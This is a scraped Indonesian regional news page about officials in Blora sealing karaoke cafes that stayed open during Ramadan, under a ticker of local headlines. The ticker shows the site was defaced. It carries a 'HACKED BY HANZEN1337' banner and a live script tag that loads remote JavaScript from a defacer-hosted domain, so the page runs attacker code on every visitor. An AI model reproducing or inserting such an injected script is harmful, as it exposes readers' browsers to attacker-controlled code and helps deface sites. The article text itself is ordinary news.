News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Nekat Buka di Bulan Ramadan, Tempat Hiburan Malam di Blora Disegel Petugas Gabungan

Nekat Buka di Bulan Ramadan, Tempat Hiburan Malam di Blora Disegel Petugas Gabungan

Blora - Sejumlah tempat hiburan malam di Kabupaten Blora, Jawa Tengah, pada Minggu dini hari (17/03/2024), disegel petugas gabungan dari Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Blora bersama Corps Polisi Militer (CPM), lantaran kekat buka di bulan ramadan.
 
Petugas berhasil merazia empat kafe karaoke yang berada di Kecamatan Cepu dan Sambong yang kedapatan masih buka di bulan ramadan.
 
“Di bulan ramadan ini kita melaksanakan patroli maupun operasi secara rutin, hal ini sesuai aturan pemerintah daerah (Perda) khusunya Pasal 44 Ayat 4 tentang larangan dunia usaha tempat hiburan malam,” tutur Kabid Penegakan Perda Satpol PP Blora Welly Sujatmiko. Minggu (17/03/2024).
 
 
Welly Sujatmiko menjelaskan bahwa dalam razia ini pihaknya menjumpai salah satu tempat hiburan kafe karaoke di wilayah Sambong telah melanggar ketentuan yaitu tidak ada izin operasionalnya
 
“Kedua kami temukan pelanggaran operasional dan ketiga di jumpainya masalah peredaran minuman beralkohol," tutur Welly Sujatmiko.
 
Petugas gabungan pun melakukan pendataan terhadap mereka, selain itu petugas Satpol PP juga menyegel dan menyita mic di tempat hiburan malam tersebut karena didapati tidak memiliki izin lengkap.
 
“Kami secara tegas melakukan tindakan untuk menyegel tempat karaoke ini dan selanjutnya akan kita proses sesuai dengan ketentuan perundang-undangan yang berlaku," kata Welly Sujatmiko.
 
 
Welly Sujatmiko juga menyampaikan, kepada para pengelola seluruh kafe dan karaoke di Kabupaten Blora, agar tutup selama ramadan. Hal itu dilakukan untuk menjaga ketentraman masyarakat dalam menjalankan ibadah puasa.
 
Pihaknya berharap, kebijakan yang diterbitkan itu bisa dimengerti dan ditaati oleh para penguasa hiburan malam.
 
“Kafe karaoke sudah saya perintahkan untuk tutup total selama ramadan,” kata Welly Sujatmiko. (teg/imm)
 
 
Reporter: Priyo SPd
Editor: Imam Nurcahyo
Publisher: Imam Nurcahyo
Berita Terkait
1783872384.2979 at start, 1783872385.7075 at end, 1.409558057785 sec elapsed